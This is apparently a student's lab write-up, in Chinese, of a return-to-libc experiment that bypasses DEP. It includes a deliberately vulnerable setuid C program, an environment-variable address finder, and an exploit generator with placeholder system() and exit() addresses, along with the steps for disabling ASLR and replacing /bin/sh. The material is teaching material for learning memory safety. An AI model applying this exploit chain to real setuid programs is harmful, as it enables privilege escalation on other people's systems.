天天看点

内存安全试验:ret2libc绕过DEP

参考资料

1.https://www.cnblogs.com/0831j/p/9219243.html  (实验、原理)

2.https://www.cnblogs.com/xidian-wws/p/10819073.html(getenvaddr那个的说明)

实验过程中的一些问题

https://mp.csdn.net/postedit/89915014

遗留问题:

1.那些地址在gdb和直接运行的地址是不一样的,不清楚为什么,也没有找到规律

结论

这些结论都在我的另一篇博客中有详细说明,为了阅读方便,放到一起

三个程序实际运行的地址差异

首先要关闭地址随机化
地址差异
getenvaddr(10) retlib(6) expl(4)
直接在shell中运行(通过getenv()获取) 0xffffde28 +8= 0xffffde30 +4= 0xffffde34
在gdb中通过列出所有的环境变量进行寻找 0xffffde1e 0xffffde22 0xffffde24
在gdb中运行程序(通过getenv()获取) 0xffffde1e +4  0xffffde22 +2= 0xffffde24

从上面的表格可以看出:

(1)在shell中运行时,这几个程序地址的差异是它们程序名的二倍,这也是本次实验利用getenvaddr.c加上偏移获取retlib.c环境变量的方法,具体原因见这个博客的末尾:https://www.cnblogs.com/xidian-wws/p/10819073.html;

(2)在gdb中不管是上面两种方法中的哪一种,同一程序获取到的地址都是一样的,但是不同程序获取到的地址偏移是它们程序名的一倍,这个原因尚没有找出来,希望知道的朋友告知;

(3)retlib是漏洞程序,getenvaddr和expl是攻击程序,这两个攻击程序其实是可以合并的,我们的目的就是通过攻击程序猜漏洞程序环境变量的地址;

(4)假设不用getenvaddr,只用expl这个攻击程序:可以通过在shell中运行expl程序(程序中会利用getenv函数获取程序变量地址),然后加上expl和retlib程序名偏移量的二倍来猜测retlib程序环境变量的地址;也可以通过在expl的gdb中获取到环境变量的地址后,加上他们程序名偏移量的一倍来获取retlib程序环境变量的地址(已验证);

(5)假设是在gdb中获取到的地址,那么retlib只能在gdb中运行才能攻击成功,在shell中运行是不会攻击成功的,因为同一环境变量在shell中和在gdb中的地址是不一样的

(关于这个的解释,老师说因为gdb调试是静态的,shell运行是动态的,地址肯定不一样;

一个大神的解释是:gdb的调试环境会影响buf在内存中的位置,虽然关闭了ASLR,但这只能保证buf的地址在gdb的调试环境中不变,但当直接执行的时候,buf的位置会固定在别的地址上)

感觉大神的这个解释应该某一函数中的局部变量在gdb和直接运行时地不一样的原因,我现在也不是很懂

(6)对于(5),在gdb中攻击成功的话,获取的是普通用户的shell,不是root,现在我也不知道能不能获取到root以及如何获取到root

不同程序环境变量及地址差异

retlib.c expl.c
(gdb)run (gdb)run
argc=1, argv=0xffffd3c4, envp=0xffffd3cc argc=1, argv=0xffffd3c4, envp=0xffffd3cc
(gdb)x/100sb *0xffffd3cc (gdb)(gdb)x/100sb *0xffffd3cc

0xffffd557  "SSH_..."

...

0xffffde1b  "BIN_SH=/bin/sh"

0xffffd559  "SSH_..."

...

0xffffde1d  "BIN_SH=/bin/sh"

可以看到,这两个程序的环境变量地址是一样的,但是环境变量所指向的空间是不一样的,差了两个字节,自己也还没有想明白?

自己整了一份他们的内存比较,见自己的笔记。

同一程序不同参数地址的差异

这个例子说明,对于同一个程序,找其环境变量的地址时,加不加那个参数都是一样的,只是环境变量的地址变量一点,但是环境变量所指向的

空间是一样的

实验原理

(攻击)之前的攻击方法大量使用Shellcode,核心思想是修改EIP和注入Shellcode,在函数返回时跳到Shellcode去执行。

(防御)DEP(Data Execution Prevention,数据执行保护):将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。DEP 的主要作用是阻止数据页(如默认的堆页、各种堆栈页以及内存池页)执行代码。

(攻击)系统库函数通常是不受DEP保护的,所以通过将返回地址指向系统函数可以绕过DEP保护,所以可以通过调用系统函数system()获得shell。system函数是通过/bin/sh命令去执行一个用户执行命令或者脚本。因此,我们可以利用system来实现Shellcode的功能。 对于ret2libc,即return-to-libc(返回到系统库函数执行),攻击者能够通过缓冲区溢出改写返回地址为一个库函数的地址,并且将此库函数执行时的参数也重新写入栈中。这样当函数调用时获取的是攻击者设定好的参数值,并且结束后返回时就会返回到库函数而不是 main()。而此库函数实际上就帮助攻击者执行了其恶意行为。

构造恶意输入数据:借助缓冲区溢出手段,我们可以构造输入数据,使得其将返回地址 ret 的值覆盖,修改为系统中已存在的 system 函数的值,则函数返回时控制流会跳转至 system 函数,system 函数会将寄存器 %ebp 保存,之后其通过 %ebp + 8 获得所需的参数,而在函数返回时,其会认为位于保存的 %ebp 之后的栈顶数据为函数调用的返回地址。通过构造数据,可以将原函数调用的 ret 修改为目标函数地址,之后放置我们所需的返回地址(比如exit函数的地址),并根据正常的函数调用栈结构构造参数列表。

内存安全试验:ret2libc绕过DEP

实验复现:

复现流程按照该实现进行:https://www.cnblogs.com/0831j/p/9219243.html

环境:ubuntu12.04.5 64位

1.输入命令安装一些用于编译 32 位 C 程序的东西。

sudo apt-get update

sudo apt-get install lib32z1 libc6-dev-i386

sudo apt-get install lib32readline-gplv2-dev

2.关闭地址随机化

sudo sysctl -w kernel.randomize_va_space=0

3.即使你能欺骗一个 Set-UID 程序调用一个 shell,也不能在这个 shell 中保持 root 权限,这个防护措施在/bin/bash 中实现。

linux 系统中,/bin/sh 实际是指向/bin/bash 或/bin/dash 的一个符号链接。为了重现这一防护措施被实现之前的情形,我们使用另一个 shell 程序(zsh)代替/bin/bash。下面的指令描述了如何设置 zsh 程序。

sudo apt-get install zsh

sudo su

cd /bin

rm sh

ln -s zsh sh

exit

4.漏洞代码retlib.c

sudo su

gcc -m32 -g -z noexecstack -fno-stack-protector -o retlib retlib.c

chmod u+s retlib

exit

5.读取环境变量的程序

gcc -m32 -o getenvaddr getenvaddr.c

export BIN_SH="/bin/sh"    //这种是属于临时导入环境变量的方法,所以每次打开终端都要添加

echo $BIN_SH

./getenvaddr BIN_SH ./retlib

6.攻击程序expl.c

gcc -m32 -g -o expl expl.c//编译

gdb -q ./exploit//调试

b 10//设置断点

run//运行到断点处

p system//获取system地址

p exit//获取exit地址

7.修改 expl.c 文件,填上刚才找到的内存地址

vim expl.c

gcc -m32 -g -o expl expl.c

8.攻击

./expl

./retlib

实验代码

#include <stdlib.h>

#include <stdio.h>

#include <string.h>

int bof(FILE *badfile) {

char buffer[12];

fread(buffer, sizeof(char), 40, badfile);

return 1;

}

int main(int argc, char **argv) {

FILE *badfile;

badfile = fopen("badfile", "r");

bof(badfile);

printf("Returned Properly\n");

fclose(badfile);

return 1;

}

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

int main(int argc, char const *argv[]) {

char *ptr;

if(argc < 3){

printf("Usage: %s <environment var> <target program name>\n", argv[0]);

exit(0);

}

ptr = getenv(argv[1]);

ptr += (strlen(argv[0]) - strlen(argv[2])) * 2;

printf("%s will be at %p\n", argv[1], ptr);

return 0;

}

程序名有在程序地址空间出现了三次,除了第一次是main函数的参数之外,其他两次是_环境变量和辅助向量值。 而由于栈是向低地址方向增长的,所以我们需要把这两个程序名导致的环境变量造成的地址差异进行处理。 具体见后文参考资料。

#include <stdlib.h>

#include <stdio.h>

#include <string.h>

int main(int argc, char **argv) {

char buf[40];

FILE *badfile; badfile = fopen(".//badfile", "w");

strcpy(buf, "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90");// nop 24 times

*(long *) &buf[32] =0x11111111; // "//bin//sh" 

*(long *) &buf[24] =0x22222222; // system() 

*(long *) &buf[36] =0x33333333; // exit() 

fwrite(buf, sizeof(buf), 1, badfile);

fclose(badfile);

对于本例expl.c代码编写规则:
内存安全试验:ret2libc绕过DEP

我们可以看到buffer距离ebp有20个字节,所以buffer距离ret有24个字节,所以我们将buffer[24](即system函数栈帧的ebp)填充为system地址,将buffer[32](即system函数栈帧的ebp+8)构造为/bin/sh的地址,这个地址作为system函数的输入;而buffer[28](即system函数栈帧的ebp+4)作为system函数的返回地址。

(1)buffer[28](即system函数栈帧的ebp+4)不做任何填充

内存安全试验:ret2libc绕过DEP
(2)buffer[28](即system函数栈帧的ebp+4)填充为exit函数的地址
内存安全试验:ret2libc绕过DEP

实验结果

(1)buffer[28](即system函数栈帧的ebp+4)不做任何填充
内存安全试验:ret2libc绕过DEP
(2)buffer[28](即system函数栈帧的ebp+4)填充为exit函数的地址
内存安全试验:ret2libc绕过DEP

新知识:

export BIN_SH="/bin/sh"  定义了一个BIN_SH变量,赋值为”/bin/sh”,并将其导出为环境变量

echo $BIN_SH           输出变量BIN_SH的值

头文件:#include <stdlib.h>

定义函数:char * getenv(const char *name);

函数说明:getenv()用来取得参数name 环境变量的内容. 参数name 为环境变量的名称, 如果该变量存在则会返回指向该内容的指针. 环境变量的格式为name=value.

返回值:执行成功则返回指向该内容的指针, 找不到符合的环境变量名称则返回NULL.

http://c.biancheng.net/cpp/html/377.html

C语言main函数参数说明:

https://blog.csdn.net/xiaocainiaoshangxiao/article/details/13996459

Shell变量由全大写字母加下划线组成,有两种类型的Shell变量:

环境变量

环境变量可以从父进程传给子进程,因此Shell进程的环境变量可以从当前Shell进程传给fork出来的子进程。用printenv命令可以显示当前Shell进程的环境变量。

本地变量

只存在于当前Shell进程,用set命令可以显示当前Shell进程中定义的所有变量(包括本地变量和环境变量)和函数。

环境变量是任何进程都有的概念,而本地变量是Shell特有的概念。在Shell中,环境变量和本地变量的定义和用法相似。

在Shell中定义或赋值一个变量:

$ VARNAME=value

注意等号两边都不能有空格,否则会被Shell解释成命令和命令行参数。

一个变量定义后仅存在于当前Shell进程,它是本地变量,用export命令可以把本地变量导出为环境变量,定义和导出环境变量通常可以一步完成:

$ export VARNAME=value

也可以分两步完成:

$ VARNAME=value

$ export VARNAME

如果一个变量叫做VARNAME,用${VARNAME}可以表示它的值,在不引起歧义的情况下也可以用$VARNAME表示它的值。注意,在定义变量时不用$,取变量值时要用$。

参考:http://docs.linuxtone.org/ebooks/C&CPP/c/ch31s03.html

linux下如何在终端上运行和安装可执行文件

linux下可执行文件,如果是在/bin、/sbin、/usr/bin或者/usr/sbin 里头,就直接敲文件名就可以运行.(注意环境变量PATH是否包含了路径)

如果是在其他文件夹里,比如说运行/root里头的 time文件 你就 cd /root 再 ./time。注意./与time之间没有空格。

./表示当前目录下,../表示上一级目录,../../表示上上一级目录。

linux终端中,是用"sh"来运行文件,或者"./"

比如你在/usr/temp文件夹中有一个可执行文件"flash"

你可以在终端中输入 sh /usr/temp/flash

或者进入文件夹 cd /usr/temp 然后运行: ./flash

参考:https://blog.csdn.net/Se7enYea/article/details/8245672

lea对变量没有影响是取地址,对寄存器来说加[]时取值,第二操作数不加[]非法

mov对变量来说没有影响是取值,对寄存器来说是加[]时取地址,第二操作数不加[]是取值

LEA指令有两个操作数。左边是目的操作数,表示操作结果保存在此,该指令目的操作数只能是8个通用寄存器之一。逗号右边的是源操作数,该指令的源操作数只能是一个存储单元,表达存储单元有多种寻址方式。(看这个汇编代码感觉左右刚好反着呢,等自己看完汇编的书,再来研究研究)

  LEA指令的功能是将源操作数、即存储单元的有效地址(偏移地址)传送到目的操作数。

示例LEA BX,[BX+SI+0F54H]指令中,[BX+SI+0F54H]采用相对基址变址的寻址方式表达存储单元,它表示的存储单元的有效地址是:BX内容加SI内容加0F54H。这个结果被传送到BX中。

继续阅读